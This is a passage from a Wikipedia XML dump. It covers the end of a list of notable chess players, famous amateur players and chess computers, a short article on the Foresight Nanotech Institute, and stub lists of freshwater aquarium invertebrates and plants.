*[[Pia Cramling]] (Sweden, [[1963]]&amp;#8211; )

=== D ===

*[[Arthur Dake]] (USA, [[1910]]&amp;ndash; )
*[[Pedro Damiano]] (Portugal, &amp;ndash;[[1544]])
*[[Klaus Darga]] (Germany)
*[[Nigel Davies]] (England, [[1960]]&amp;#8211; )
*[[Nick de Firmian]] (USA, [[1957]]&amp;#8211; )
*[[Boris De Greiff]] (Colombia, [[1930]]&amp;ndash; )
*[[Adriaan de Groot]] (Netherlands, [[1914]]&amp;ndash; )
*[[Arnold Denker]] (USA, [[1914]]&amp;ndash;2005)
*[[Alexandre Deschapelles]] (France, [[1780]]&amp;#8211;[[1847]])
*[[Rune Djurhuus]] (Norway, [[1970]]&amp;#8211; )
*[[Sergey Dolmatov]] (USSR, [[1959]]&amp;ndash; )
*[[Hein Donner|&quot;Jan Hein&quot; Donner]] (Netherlands, [[1927]]&amp;ndash;[[1988]])
*[[Alexey Dreev]] (Russia, [[1969]]&amp;#8211; )
*[[Serafino Dubois]] (Italy, [[1817]]&amp;#8211;[[1899]])
*[[Jean Dufresne]] (Germany, [[1829]]&amp;#8211;[[1893]])
*[[Oldrich Duras]] (Czechoslovakia, [[1882]]&amp;#8211;[[1957]])
*[[Mark Dvoretsky]] (Russia, )
*[[Nana Dzagnidze]] (Georgia, [[1987]]&amp;ndash; )
*[[Roman Dzindzichashvili]] (Georgia, USA, [[1944]]&amp;ndash; )

=== E ===

*[[Jaan Ehlvest]] (Estonia, [[1962]]&amp;ndash; )
*[[Erich Eliskases]] (Austria, Germany, Argentina, [[1913]]&amp;#8211;[[1997]])
*[[John Emms]] (England, [[1967]]&amp;ndash; )
*[[Berthold Englisch]] (Austria, [[1851]]&amp;ndash;[[1897]])
*[[Yakov Estrin]] (USSR, [[1923]]&amp;ndash;[[1987]])
*[[Max Euwe]] (Netherlands, [[1901]]&amp;#8211;[[1981]])
*[[Larry Evans]] (USA, [[1932]]&amp;#8211; )
*[[William Davies Evans|Captain William Davies Evans]] (Wales, [[1790]]&amp;ndash;[[1872]])

=== F ===

*[[Ernst Falkbeer]] (Austria, [[1819]]&amp;ndash;[[1885]])
*[[John Fedorowicz]] (USA, [[1958]]&amp;ndash; )
*[[Miroslav Filip]] (Czech Republic, [[1928]]&amp;ndash; )
*[[Reuben Fine]] (USA, [[1914]]&amp;#8211;[[1993]])
*[[Bobby Fischer]] (USA, [[1943]]&amp;#8211; )
*[[Salo Flohr]] (Czechoslovakia, [[1908]]&amp;#8211;[[1983]])
*[[Gyozo Forintos]] (Hungary, [[1935]]&amp;ndash; )
*[[Lubomir Ftacnik]] (Slovakia, [[1957]]&amp;ndash; )
*[[Semen Abramovich Furman|Semen Furman]] (USSR, [[1920]]&amp;ndash;[[1978]])

=== G ===

*[[Joseph Gallagher]] (England, Switzerland, [[1964]]&amp;#8211; )
*[[Nona Gaprindashvili]] (Georgia, USSR, [[1941]]&amp;#8211; )
*[[Timur Gareev]] (Uzbekistan, [[1988]]&amp;ndash; )
*[[Einar Gausel]] (Norway, [[1963]]&amp;#8211; )
*[[Boris Gelfand]] (Belarus, USSR, Israel, [[1968]]&amp;#8211; )
*[[Efim Geller]] (Ukraine, USSR, [[1925]]&amp;#8211;[[1998]])
*[[Kiril Georgiev]] (Bulgaria, [[1965]]&amp;ndash; )
*[[Ehsan Ghaemmaghami]] (Iran, [[1981]]&amp;#8211; )
*[[Florin Gheorghiu]] (Romania, [[1944]]&amp;ndash; )
*[[Ellen E Strong Gilbert]] (USA)
*[[Aivars Gipslis]] (Latvia, [[1937]]&amp;ndash;[[2000]])
*[[Svetozar Gligoric]] (Yugoslavia, [[1923]]&amp;#8211; )
*[[Harry Golombek]] (England, [[1911]]&amp;ndash;[[1995]])
*[[Sonja Graf]] (Germany, Argentina, USA, [[1908]]&amp;ndash;[[1965]])
*[[Gioacchino Greco]] (Italy, [[1600]]&amp;#8211;c.[[1634]])
*[[Gisela Kahn Gresser]] (USA, [[1906]]&amp;ndash;[[2000]])
*[[Alexander Grischuk]] (Russia, [[1983]]&amp;ndash; )
*[[Richard Griffith]] (England, [[1872]]&amp;ndash;[[1955]])
*[[Ernst Grünfeld]] (Austria, [[1893]]&amp;#8211;[[1962]])
*[[Eduard Gufeld]] (Ukraine, USA, [[1936]]&amp;ndash;[[2002]])
*[[Boris Gulko]]  (USSR, USA, [[1947]]&amp;#8211;)
*[[Isidor Gunsberg]] (Hungary, England, [[1854]]&amp;#8211;[[1930]])

=== H ===

*[[Tunc Hamarat]] (Turkey, Austria, [[1946]]&amp;ndash; )
*[[Wilhelm Hanstein]] (Germany, [[1811]]&amp;ndash;[[1850]])
*[[Pentala Harikrishna]] (India, [[1986]]&amp;ndash; )
*[[Max Harmonist]] (Germany, [[1864]]&amp;#8211;[[1907]])
*[[Daniel Harrwitz]] (Germany, France, [[1823]]&amp;#8211;[[1884]])
*[[William Hartston]] (England, [[1947]]&amp;ndash; )
*[[Jonny Hector]] (Sweden, [[1964]]&amp;ndash; )
*[[Julian Hodgson]] (England, [[1963]]&amp;ndash; )
*[[Vlastimil Hort]] (Czechoslovakia, Germany, [[1944]]&amp;#8211; )
*[[Israel Horowitz]] (US, [[1907]]&amp;#8211;[[1973]])
*[[Bernhard Horwitz]] (Germany, England, [[1807]]&amp;#8211;[[1885]])
*[[Robert Hübner]] (Germany, [[1948]]&amp;#8211; )

=== I ===

*[[Nana Ioseliani]] (Georgia, [[1962]]&amp;#8211; )
*[[Miguel Illescas Cordoba]] (Spain, [[1965]]&amp;ndash; )
*[[Vassily Ivanchuk]] (Ukraine, [[1969]]&amp;#8211; )
*[[Igor Ivanov (chess player)|Igor Ivanov]] (Russia, [[1947]]&amp;#8211;[[2005]])
*[[Sergey Ivanov]] (Russia, [[1960]]&amp;#8211; )
*[[Borislav Ivkov]] (Yugoslavia, [[1933]]&amp;#8211; )

=== J ===

*[[Carl Jaenisch]] (Russia, [[1813]]&amp;ndash;[[1872]])
*[[David Janowski]] (Poland, France [[1868]]&amp;#8211;[[1927]])
*[[Leif Erlend Johannessen]] (Norway, [[1980]]&amp;ndash; )
*[[Darryl Johansen]] (Australia, [[1959]]&amp;ndash; )
*[[Paul Johner]] (Switzerland, [[1887]]&amp;#8211;[[1938]])

=== K ===

*[[Gata Kamsky]] (Russia, USA, [[1974]]&amp;#8211; )
*[[Mona May Karff]] (Palestine, USA, [[1914]]&amp;ndash;[[1998]])
*[[Sergey Karjakin]] (Ukraine, [[1990]]&amp;ndash; )
*[[Anatoly Karpov]] (Russia, [[1951]]&amp;#8211; )
*[[Rustam Kasimdzhanov]] (Uzbekistan, [[1979]]&amp;#8211; )
*[[Garry Kasparov]] (Russia, [[1963]]&amp;#8211; ) 
*[[Lubomir Kavalek]] (Czechoslovakia, US, [[1943]]&amp;#8211; )
*[[Raymond Keene]] (England, [[1948]]&amp;#8211; ) 
*[[Paul Keres]] (Estonia, [[1916]]&amp;#8211;[[1975]])
*[[Alexander Khalifman]] (Russia, [[1966]]&amp;#8211; )
*[[Lionel Kieseritzky]] (Poland, Germany, [[1806]]&amp;#8211;[[1853]])
*[[Ernst Klein]] (England, [[1910]]&amp;ndash;[[1990]])
*[[Janis Klovans]] (Latvia, [[1935]]&amp;#8211; )
*[[Georges Koltanowski]] (Belgium, USA, [[1903]]&amp;#8211;[[2000]])
*[[Koneru Humpy]] (India, [[1987]]&amp;ndash; )
*[[Viktor Korchnoi]] (Russia, Switzerland, [[1931]]&amp;#8211; )
*[[Yona Kosashvili]] (Georgia, Israel, [[1970]]&amp;#8211; )
*[[Nadezhda Kosintseva]] (Russia, [[1985]]&amp;#8211; )
*[[Alexandra Kosteniuk]] (Russia, [[1984]]&amp;#8211; )
*[[Borislav Kostić]] (Yugoslavia, [[1887]]&amp;ndash;[[1963]])
*[[Vassilios Kotronias]] (Greece, [[1964]]&amp;#8211; )
*[[Alexander Kotov]] (USSR, [[1913]]&amp;#8211;[[1981]])
*[[Vladimir Kovacevic]] (Croatia, [[1942]]&amp;ndash; )
*[[Vladimir Kramnik]] (Russia, [[1975]]&amp;#8211; )
*[[Michal Krasenkow]] (Poland, [[1963]]&amp;#8211; )
*[[Irina Krush]] (Ukraine, USSR, USA, [[1983]]&amp;#8211; )
*[[Bojan Kurajica]] (Bosnia &amp; Herzegovenia, [[1947]]&amp;ndash; )

=== L ===

*[[Kateryna Lahno]] (Ukraine, [[1989]]&amp;#8211; )
*[[Gary Lane]] (England, Australia [[1964]] &amp;#8211; )
*[[Bent Larsen]] (Denmark, [[1935]]&amp;#8211; )
*[[Baron Tassilo von Heydebrand und der Lasa]] (Prussia, [[1818]]&amp;#8211;[[1899]])
*[[Edward Lasker]] (Germany, USA, [[1885]]&amp;#8211;[[1981]])
*[[Emanuel Lasker]] (Germany, USA, [[1868]]&amp;#8211;[[1941]])
*[[Joel Lautier]] (France, [[1973]]&amp;ndash; )
*[[Legall de Kermeur]] ([[1702]]&amp;#8211;[[1792]])
*[[Péter Lékó]] (Hungary, [[1979]]&amp;#8211; )
*[[Giovanni Leonardo]] (Italy, [[1542]]&amp;#8211;[[1587]])
*[[Alexandre Lesiege]] (Canada, [[1975]]&amp;#8211; )
*[[Grigory Levenfish]] (Poland, Russia, [[1889]]&amp;ndash;[[1961]])
*[[Kjetil Aleksander Lie]] (Norway, [[1980]] &amp;#8211; )
*[[Andor Lilienthal]] (Hungary, Russia, [[1911]]&amp;#8211; )
*[[Samuel Lipschütz]] (Hungary, USA, [[1863]]&amp;ndash;[[1905]])
*[[John Littlewood (chess player)|John Littlewood]] (England, [[1931]]&amp;#8211; )
*[[Ljubomir Ljubojevic]] (Yugoslavia, [[1950]]&amp;#8211; )
*[[William Lombardy]] (USA, [[1937]]&amp;ndash; )
*[[Ruy López de Segura]] (Spain, c.[[1530]] &amp;#8211; c.[[1580]])
*[[Johann Löwenthal]] (Hungary, [[1810]]&amp;#8211;[[1876]])
*[[Luis Ramirez Lucena]] (Spain, c.[[1465]] &amp;#8211; c.[[1530]])

=== M ===

*[[Georg Marco]] (Austria, [[1863]]&amp;ndash;[[1923]])
*[[Geza Maroczy]] (Hungary, [[1870]]&amp;ndash;[[1951]])
*[[Frank Marshall]] (USA, [[1877]]&amp;ndash;[[1944]])
*[[Hermanis Matisons]] (Latvia, [[1894]]&amp;ndash;[[1932]])
*[[Karl Mayet]] (Germany, [[1810]]&amp;ndash;[[1868]])
*[[Alexander McDonnell]] (Ireland, [[1798]]&amp;ndash;[[1835]])
*[[Colin McNab]] (Scotland, [[1961]]&amp;ndash; )
*[[Luke McShane]] (England, [[1984]]&amp;ndash; )
*[[Henrique Mecking]] (Brazil, [[1952]]&amp;ndash; )
*[[Susanto Megaranto]] (Indonesia, [[1987]]&amp;ndash; )
*[[Vera Menchik-Stevenson]] (Czech Republic, England, [[1906]]&amp;ndash;[[1944]])
*[[Jacques Mieses]] (Germany, England [[1865]]&amp;ndash;[[1954]])
*[[Vladas Mikenas]] (Lithuania, [[1910]]&amp;ndash;[[1992]])
*[[Tony Miles]] (England, [[1955]]&amp;ndash;[[2001]])
*[[Augustus Mongredien]] (England, [[1807]]&amp;ndash;[[1888]])
*[[Iván Morovic]] (Chile, [[1963]]&amp;ndash; )
*[[Alexander Morozevich]] (Russia, [[1977]]&amp;ndash; )
*[[Paul Morphy]] (USA, [[1837]]&amp;ndash;[[1884]])
*[[Paul Motwani]] (Scotland, [[1962]]&amp;ndash; )
*[[Alexander Motylev]] (Russia, [[1979]]&amp;ndash;)
*[[Anna Muzychuk]] (Ukraine, Slovenia, [[1990]]&amp;ndash; )

=== N ===

*[[Gia Nadareishvili]] (Georgia;)
*[[Arkadij Naiditsch]] (Germany, [[1985]]&amp;ndash; )
*[[Miguel Najdorf]] (Argentina, [[1910]]&amp;ndash;[[1997]])
*[[Hikaru Nakamura]] (USA, [[1987]]&amp;ndash; )
*[[Rashid Nezhmetdinov]] (Russia, [[1912]]&amp;ndash;[[1974]])
*[[Peter Heine Nielsen]] (Denmark, [[1973]]&amp;ndash; )
*[[Aaron Nimzowitsch]] (Latvia, [[1886]]&amp;ndash;[[1935]])
*[[Liviu-Dieter Nisipeanu]] (Romania, [[1976]]&amp;ndash; )
*[[John Nunn]] (England, [[1955]]&amp;ndash; )

=== O ===

*[[Fridrik Olafsson]] (Iceland, [[1935]]&amp;ndash; )
*[[John Owen (chess player)|John Owen]] (England, [[1827]]&amp;ndash;[[1901]])
*[[Berge Ostenstad]] (Norway, [[1964]]&amp;ndash; )

=== P ===

*[[Ludek Pachman|Luděk Pachman]] (Czechoslovakia, Germany, [[1929]]&amp;ndash;[[2003]] )
*[[Oscar Panno]] (Argentina, [[1935]]&amp;#8211; )
*[[Vasily Panov]] (USSR, [[1906]]&amp;ndash;[[1973]])
*[[Mark Paragua]] (Philippines, [[1984]]&amp;#8211; )
*[[Bruno Parma]] (Slovenia, [[1941]]&amp;#8211; )
*[[Louis Paulsen]] (Germany, [[1833]]&amp;#8211;[[1891]])
*[[Jonathan Penrose]] (England, [[1933]]&amp;ndash; )
*[[Tigran Petrosian]] (Armenia, Georgia, USSR, [[1929]]&amp;#8211;[[1984]])
*[[Alexander Petrov]] (Russia, [[1794]]&amp;ndash;[[1867]])
*[[Helmut Pfleger]] (Germany, [[1943]]&amp;ndash; )
*[[François-André Danican Philidor]] (France, [[1726]]&amp;#8211;[[1795]])
*[[Jeroen Piket]] (Netherlands, [[1969]]&amp;ndash; )
*[[Harry Nelson Pillsbury]] (USA, [[1872]]&amp;#8211;[[1906]])
*[[Hermann Pilnik]] (Germany, Argentina, [[1914]]&amp;ndash;[[1981]])
*[[Vasja Pirc]] (Slovenia, [[1907]]&amp;#8211;[[1980]])
*[[Giulio Polerio]] (Italy, c.[[1550]]&amp;#8211;c.[[1610]])
*[[Judit Polgar]] (Hungary, [[1976]]&amp;#8211; )
*[[Susan Polgar]] (Hungary, USA, [[1969]]&amp;#8211; )
*[[Zsófia Polgár]] (Hungary, Israel, [[1974]]&amp;ndash; )
*[[Lev Polugaevsky]] (USSR, [[1934]]&amp;ndash;[[1995]])
*[[Ruslan Ponomariov]] (Ukraine, [[1983]]&amp;#8211; )
*[[Lajos Portisch]] (Hungary, [[1937]]&amp;#8211; )
*[[Cecil Purdy|C.J.S. Purdy]] (Australia, [[1906]]&amp;#8211;[[1979]])

=== Q ===
*[[Miguel Quinteros]] (Argentina, [[1947]]&amp;ndash; )

=== R ===

*[[Abram Rabinovich]] (Russia, [[1878]]&amp;#8211;[[1943]])
*[[Teimour Radjabov]] (Azerbaijan, [[1987]]&amp;#8211; )
*[[Viacheslav Ragozin]] (Russia, [[1908]]&amp;#8211;[[1962]])
*[[Yuri Razuvayev]] (Russia, [[1945]]&amp;ndash; )
*[[Hans Ree]] (Netherlands, [[1944]]&amp;ndash; )
*[[Fred Reinfeld]] (USA, [[1910]]&amp;#8211;[[1964]])
*[[Samuel Reshevsky]] (Poland, USA, [[1911]]&amp;#8211;[[1992]])
*[[Richard Réti]] (Czechoslovakia, [[1889]]&amp;#8211;[[1929]])
*[[Zoltan Ribli]] (Hungary, [[1951]]&amp;ndash; )
*[[Isaac Rice]] (USA, [[1850]]&amp;#8211; [[1915]])
*[[Jules Arnous de Rivière]] (France, [[1830]]&amp;#8211;[[1905]])
*[[Ian Rogers]] (Australia, [[1960]]&amp;ndash; )
*[[Michael Rohde]] (USA, [[1959]]&amp;#8211; )
*[[Nicolas Rossolimo]] (France, USA, [[1910]]&amp;#8211;[[1975]])
*[[Eugène Rousseau]] (France, c.[[1810]] &amp;#8211; c.[[1870]])
*[[Jonathan Rowson]] (Scotland, [[1977]]&amp;#8211; )
*[[Akiba Rubinstein]] (Poland, [[1882]]&amp;#8211;[[1961]])
*[[Sergei Rublevsky]] (Russia, [[1974]]&amp;#8211; )
*[[Olga Rubtsova]] (Russia, [[1909]]&amp;#8211;[[1994]])
*[[Lyudmila Rudenko]] (Russia, [[1904]]&amp;#8211;[[1986]])

=== S ===

*[[Pierre St. Amant]] (France, [[1800]]&amp;#8211;[[1872]])
*[[Valery Salov]] (Russia, [[1964]]&amp;#8211; )
*[[Freidrich Sämisch|Friedrich (Fritz) Sämisch]] (Germany, [[1896]]&amp;ndash;[[1975]])
*[[Jonathan Sarfati]] (Australia, New Zealand, [[1964]]&amp;#8211; )
*[[Krishnan Sasikiran]] (India, [[1981]]&amp;ndash; )
*[[Gyula Sax]] (Hungary, [[1951]]&amp;ndash; )
*[[Emmanuel Schiffers]] (Russia, [[1850]]&amp;#8211;[[1904]])
*[[Carl Schlechter]] (Austria, [[1874]]&amp;#8211;[[1918]])
*[[Yasser Seirawan]] (Syria, USA, [[1960]]&amp;#8211; )
*[[Alexander Shabalov]] (Latvia, USA, [[1967]]&amp;#8211; )
*[[Jennifer Shahade]] (USA, [[1980]]&amp;ndash; )
*[[Leonid Shamkovich]] (Russian, USA, [[1923]]&amp;ndash;2005)
*[[Alexei Shirov]] (Latvia, Spain, [[1972]]&amp;#8211; )
*[[Nigel Short]] (England, [[1965]]&amp;#8211; )
*[[Jackson Showalter]] (USA, [[1860]]&amp;#8211;[[1935]])
*[[Yury Shulman]] (Belarus, [[1975]]
*[[Almira Skripchenko]] (France, [[1976]]&amp;ndash; )
*[[Jan Smejkal]] (Czechoslovakia, [[1946]] &amp;#8211; )
*[[Vasily Smyslov]] (Russia, [[1921]]&amp;#8211; )
*[[Ivan Sokolov]] (Yugoslavia, Netherlands, [[1968]]&amp;ndash; )
*[[Andrew Soltis]] (USA, [[1947]]&amp;ndash; )
*[[Boris Spassky]] (Russia, France, [[1937]]&amp;#8211; )
*[[Jon Speelman]] (England, [[1956]]&amp;#8211; )
*[[Rudolf Spielmann]] (Austria, [[1883]]&amp;#8211;[[1942]])
*[[Kevin Spraggett]] (Canada, [[1954]]&amp;#8211; )
*[[Gideon Stahlberg]] (Sweden, [[1908]]&amp;#8211;[[1967]])
*[[Phillip Stamma]] (Syria, England, France, [[1705]]&amp;#8211;[[1755]])
*[[Charles Stanley (Chess player)|Charles Stanley]] (England,USA [[1819]]&amp;#8211;[[1901]])
*[[Nava Starr]] (Latvia, Canada, [[1949]]&amp;ndash; )
*[[Howard Staunton]] (England, [[1810]]&amp;#8211;[[1874]])
*[[Antoaneta Stefanova]] (Bulgaria, [[1979]]&amp;#8211; )
*[[Leonid Stein]] (Ukraine, [[1934]]&amp;ndash;[[1973]])
*[[Herman Steiner]] (USA, [[1905]]&amp;ndash;[[1955]])
*[[Wilhelm Steinitz]] (Bohemia, USA, [[1836]]&amp;#8211;[[1900]])
*[[Daniel Stellwagen]] (Netherlands, [[1987]]&amp;#8211; )
*[[Gosta Stoltz]] (Sweden, [[1904]]&amp;ndash;[[1963]])
*[[Alexey Suetin]] (USSR, [[1926]]&amp;ndash;[[2001]])
*[[Mir Sultan Khan]] (Pakistan, [[1905]]&amp;#8211;[[1966]])
*[[Emil Sutovsky]] (Israel, [[1977]]&amp;ndash; )
*[[Evgeny Sveshnikov]] (Latvia, [[1950]]&amp;ndash; )
*[[Peter Svidler]] (URSS, [[1976]]&amp;ndash; )
*[[Laszlo Szabo|László Szabó]] (Hungary, [[1917]]&amp;ndash;[[1998]])

=== T ===

*[[Mark Taimanov]] (Russia, [[1926]]&amp;#8211; )
*[[Mikhail Tal]] (Latvia, USSR, [[1936]]&amp;#8211; [[1992]])
*[[Siegbert Tarrasch]] (Germany, [[1862]]&amp;#8211;[[1934]])
*[[Ksawery Tartakower]] (Poland, France, [[1887]]&amp;#8211;[[1956]])
*[[Richard Teichmann]] (Germany, [[1868]]&amp;#8211;[[1925]])
*[[Jan Timman]] (Netherlands, [[1951]]&amp;#8211; )
*[[Sergei Tiviakov]] (Russia, Netherlands, [[1973]]&amp;ndash; )
*[[Alexander Tolush]] (Russia, [[1910]]&amp;#8211;[[1969]])
*[[Veselin Topalov]] (Bulgaria, [[1975]]&amp;#8211; )
*[[Eugenio Torre]] (Philippines, [[1951]]&amp;ndash; )
*[[Carlos Torre Repetto]] (México,[[1902]]&amp;#8211;[[1978]])
*[[Karel Traxler]] (Czechoslovakia, [[1866]]&amp;ndash;[[1936]])
*[[Karel Treybal]] (Czechoslovakia, [[1885]]&amp;ndash;[[1941]])
*[[Petar Trifunovic]] (Croatia, [[1910]]&amp;ndash;[[1980]])
*[[Vitaly Tseshkovsky]] (Russia, [[1944]]&amp;ndash; )
*[[T H Tylor|Theodore Tylor]] (England, [[1900]]&amp;#8211;[[1968]])

=== U ===

*[[Wolfgang Uhlmann]] (GDR,  [[1935]]&amp;#8211; )
*[[Wolfgang Unzicker]] (Germany, [[1925]]&amp;#8211; )
*[[Richard Urwand]] (Egypt, France, [[1914]]&amp;#8211;[[2006]])

=== V ===

*[[Francisco Vallejo Pons]] (Spain, [[1982]]&amp;ndash; )
*[[Loek van Wely]] (Netherlands, [[1972]]&amp;ndash; )
*[[Milan Vidmar]] (Slovenia, [[1885]]&amp;#8211;[[1962]])
*[[Evgeny Vladimirov]] (Kazakhstan, [[1957]]&amp;ndash; )
*[[Alexey Vyzmanavin]] (Russia, [[1960]]&amp;ndash;[[2000]])

=== W ===
*[[Peter Winston]] (USA)
*[[Szymon Winawer]] (Poland, [[1838]]&amp;ndash;[[1920]])
*[[William Winter]] (England)
*[[Patrick Wolff]] (USA, [[1968]]&amp;ndash; )
*[[Marmaduke Wyvill]] (England, [[1814]]&amp;ndash;[[1896]])

=== X ===

*[[Bu Xiangzhi]] (China, [[1985]]&amp;ndash; )
*[[Jun Xie]] (China, [[1970]]&amp;ndash; )
*[[Jun Xu]] (China, [[1962]]&amp;ndash; )

=== Y ===

*[[Daniel Yanofsky]] (Poland, Canada, [[1925]]&amp;#8211;[[2000]])
*[[Frederick Yates]] (England, [[1884]]&amp;#8211;[[1932]])
*[[Jiangchuan Ye]] (China, [[1960]]&amp;#8211; )
*[[Alex Yermolinsky]] (USA, [[1958]]&amp;ndash; )
*[[Leonid Yudasin]] (USSR, Israel, [[1959]]&amp;ndash; )
*[[Leonid Yurtaev]] (Kyrgyzstan, [[1959]]&amp;ndash; )
*[[Artur Yusupov]] (Russia, Germany, [[1960]]&amp;#8211; )

=== Z ===

* [[Alexander Zaitsev (chess player)|Alexander Zaitsev]] (USSR, [[1935]]&amp;#8211;[[1971]])
* [[Zhong Zhang]] (China, [[1978]]&amp;#8211; )
* [[Eugene Znosko-Borovsky]] (Russia, France [[1884]]&amp;#8211;[[1954]])
* [[Johannes Zukertort]] (Poland, [[1842]]&amp;#8211;[[1888]])

=== Ø ===
* [[Berge Østenstad]] (Norway, [[1967]]&amp;#8211; )

==Famous people who were/are avid chess players==
The people in this list are famous in other areas of activity, but are known to have played chess or maintain a current interest in chess.

*[[Woody Allen]]
*[[Atahualpa]]
*[[George Airy]]
*[[LaVar Arrington]]
*[[Newell Banks]] (USA, World [[English draughts|American Checkers (English Draughts)]] Champion [[1887]]&amp;#8211;[[1977]])
*[[Humphrey Bogart]]
*[[Napoleon I of France|Napoleon Bonaparte]]
*[[Henry Thomas Buckle]] (English historian)
*[[John Cage]]
*[[Lewis Carroll]]
*[[Charlemagne]]
*[[Aleister Crowley]] (diabolist)
*[[Steve Davis]]
*[[Marcel Duchamp]]
*[[Albert Einstein]]
*[[Paul Erd&amp;#337;s]]
*[[Leonhard Euler]]
*[[Richard Feynman]]
*[[Benjamin Franklin]]
*[[Carl Friedrich Gauss]]
*[[Dominik Hašek]]
*[[Thomas Jefferson]]
*[[Ephraim Kishon]] (satirist, ''Kishon Chesster'' chess computer)
*[[Alfred Kreymborg]]
*[[Stanley Kubrick]]
*[[Yosef Lapid]]
*[[Pope Leo XIII]]
*[[Lennox Lewis]]
*[[Samuel Loyd]]
*[[Abraham de Moivre]]
*[[Vladimir Nabokov]] (Russian writer)
*[[Alexander Pushkin]] (Russian writer)
*[[Sergei Prokofiev]] (Russian composer &amp; pianist)
*[[Saladin]]
*[[Jonathan Sarfati]] (Australian scientist and author)
*[[George C. Scott]] (U.S. actor)
*[[Nathan Sharansky]]
*[[Juan Maria Solare]] (Argentine composer &amp; pianist)
*[[Raymond Smullyan]]
*[[Josip Broz Tito]]
*[[Leo Tolstoy]]
*[[Victoria of the United Kingdom|Queen Victoria]] 
*[[George Washington]]
*[[John Wayne]]
*[[Madonna (entertainer)|Madonna]]
*[[Bono]]
*[[Sting]]
*[[Stephen Fry]]
*[[Steve Martin]] 
*[[Chris Evans]]
*[[Martin Amis ]]

==Computers==

*[[Deep Blue]], the [[International Business Machines|IBM]] [[computer chess|chess playing computer]], was victorious in a [[1997]] match against then-world champion [[Garry Kasparov]]. ([[Deep Thought (chess computer)|Deep Thought]] was an earlier, similar machine.)
*[[Deep Fritz]] achieved a draw in the [[2002]] match, &quot;[[Brains in Bahrain]]&quot;, against [[Vladimir Kramnik]]. A variant, [[X3D Fritz]], drew against Kasparov.
*[[Hydra (chess)]], currently the strongest chess player in the world. 
*[[Shredder (chess)|Shredder]] is another strong program, having won the [[World Computer Chess Championship]] eight times.

==See also==
*[[World Chess Championship]]
*[[International Grandmaster]]
*[[World Junior Chess Championship]]
*[[List of national chess championships]]
*[[List of Israeli chess players]]
*[[List of female chess players]]

==External links==
* http://www.fide.com
* http://www.uschess.org
* http://www.muljadi.org
* http://www.iccf.com

[[Category:Chess players|*]]

[[bg:Списък на шахматисти]]
[[da:Betydende skakstormestre]]
[[de:Liste bekannter Schachspieler]]
[[id:Daftar pecatur terkenal]]
[[it:Scacchisti celebri]]
[[he:קטגוריה:שחמטאים]]
[[nl:Schaker]]
[[pt:Lista de jogadores famosos de xadrez]]
[[ru:Список шахматистов]]
[[sl:Seznam šahistov]]
[[sv:Lista över kända schackspelare]]
[[tr:Ünlü satranç oyuncuları]]</text>
    </revision>
  </page>
  <page>
    <title>Foresight Institute</title>
    <id>11751</id>
    <revision>
      <id>36017021</id>
      <timestamp>2006-01-20T22:52:48Z</timestamp>
      <contributor>
        <username>&quot;alyosha&quot;</username>
        <id>686055</id>
      </contributor>
      <minor />
      <comment>rem bold per style guidelines and anti-advert, minor copyedit</comment>
      <text xml:space="preserve">{{Advertisement}}

The '''Foresight Nanotech Institute''' is a [[501(c)(3)]] [[nonprofit organization]] formed to help prepare society for anticipated advanced technologies. Its primary focus is on [[molecular nanotechnology]], the ability to build atomically precise products. The development of this technology has broad implications for the future of our civilization. The institute was founded by [[K. Eric Drexler]], along with [[Christine Peterson]] who is the current chairman.  Also on the board are [[Brad Templeton]], [[Glenn Reynolds]] and [[James Bennett]].

Since [[1989]], Foresight Institute has sponsored conferences on molecular nanotechnology. Foresight publishes a quarterly newsletter, the Foresight Update, to inform a wide audience about both technical and non-technical developments in nanotechnology.

Foresight's sister organizations are:

*The [[Institute for Molecular Manufacturing]], a non-profit research organization founded to promote research in nanotechnology and molecular manufacturing. The goal of this organization is that nanotechnology be developed faster. 

*The [[Center for Constitutional Issues in Technology]] (CCIT), created to pursue public policy issues arising from the emergence of new technologies

Among Foresight's projects is the [[Web Enhancement Project]], whose goal is to make the [[World Wide Web]] connect in multiple directions and in multiple ways.

== Foresight Challenges ==
The overall goals of the Foresight Institute are summed up by the following Foresight Challenges:

* 1. Meeting global energy needs with clean solutions 
* 2. Providing abundant clean water globally 
* 3. Increasing the health and longevity of human life 
* 4. Maximizing the productivity of agriculture 
* 5. Making powerful information technology available everywhere 
* 6. Enabling the development of space

== See also ==

* [[K. Eric Drexler]]
* [[Ralph Merkle]]
* [[Center for Responsible Nanotechnology]]
* [[Future Technologies Advisory Group]]
* [[Nanomedicine]]
* [[Environmental technology]]
* [[Information Technology]]
* [[Space Technology]]
* [[Transhumanism]]

== External links ==

* [http://www.foresight.org/ Foresight Institute] - official website

[[Category:non-profit organizations|Foresight Institute]]
[[Category:Nanotechnology|Foresight Institute]]
[[Category:Space advocacy|Foresight Institute]] 
[[de:Foresight Institute]]</text>
    </revision>
  </page>
  <page>
    <title>List of freshwater aquarium invertebrate species</title>
    <id>11752</id>
    <revision>
      <id>18050454</id>
      <timestamp>2005-07-03T04:20:19Z</timestamp>
      <contributor>
        <username>Robert Weemeyer</username>
        <id>47347</id>
      </contributor>
      <minor />
      <comment>Categories</comment>
      <text xml:space="preserve">[[Invertebrate]]s are commonly introduced into freshwater [[aquarium|aquaria]].  There are several [[snail]] species, numerous [[shrimp|shrimps]], and [[crayfish]] that are found in aquaria. Some of these species are:

* [[Apple snail]]
* Japanese Glass Shrimp (''[[Caridina japonica]]'')
* ''[[Caridina serrata]]''
* ''[[Macrobrachium lar]]''
* ''[[Carambellus montezuema]]''
* ''[[Procambarus]]'' species.

[[Category:Fishkeeping|Invertebrate]]
[[Category:Lists of animals|Invertebrate]]

{{Invertebrate-stub}}</text>
    </revision>
  </page>
  <page>
    <title>List of freshwater aquarium plant species</title>
    <id>11753</id>
    <revision>
      <id>39072007</id>
      <timestamp>2006-02-10T14:51:09Z</timestamp>
      <contributor>
        <ip>196.211.8.134</ip>
      </contributor>
      <comment>/* Listed alphabetically by scientific name */</comment>
      <text xml:space="preserve">[[Aquatic plant]]s are used to give the [[aquarium]] a realistic appearance, oxygenate the water, and provide habitat for fish, especially fry (babies) and for invertebrate species. Some aquarium fish and invertebrates also eat live plants. Many commonly-used plant species come from the rivers of [[South America]].

While most of them are plants that live fully-submerged in nature and can live in the same way in aquariums, some are semi-aquatic plants that usually live in marshes of near the water. From the last category only some of them can actually survive fully submerged in aquariums, but usually with a slow or uneasy growth (for example, ''[[Saururus cernuus]]''). Plants like these usually need to grow only half submerged, and are better for a [[paludarium]] than an aquarium.

==Listed alphabetically by scientific name== 

As a very important note, the [[taxonomy]] of most aquatic plant genera is not final. Scientific names and classifications have changed often in the past years, creating confusion for most aquarists. Most of the old names are still in use today on some web sites.

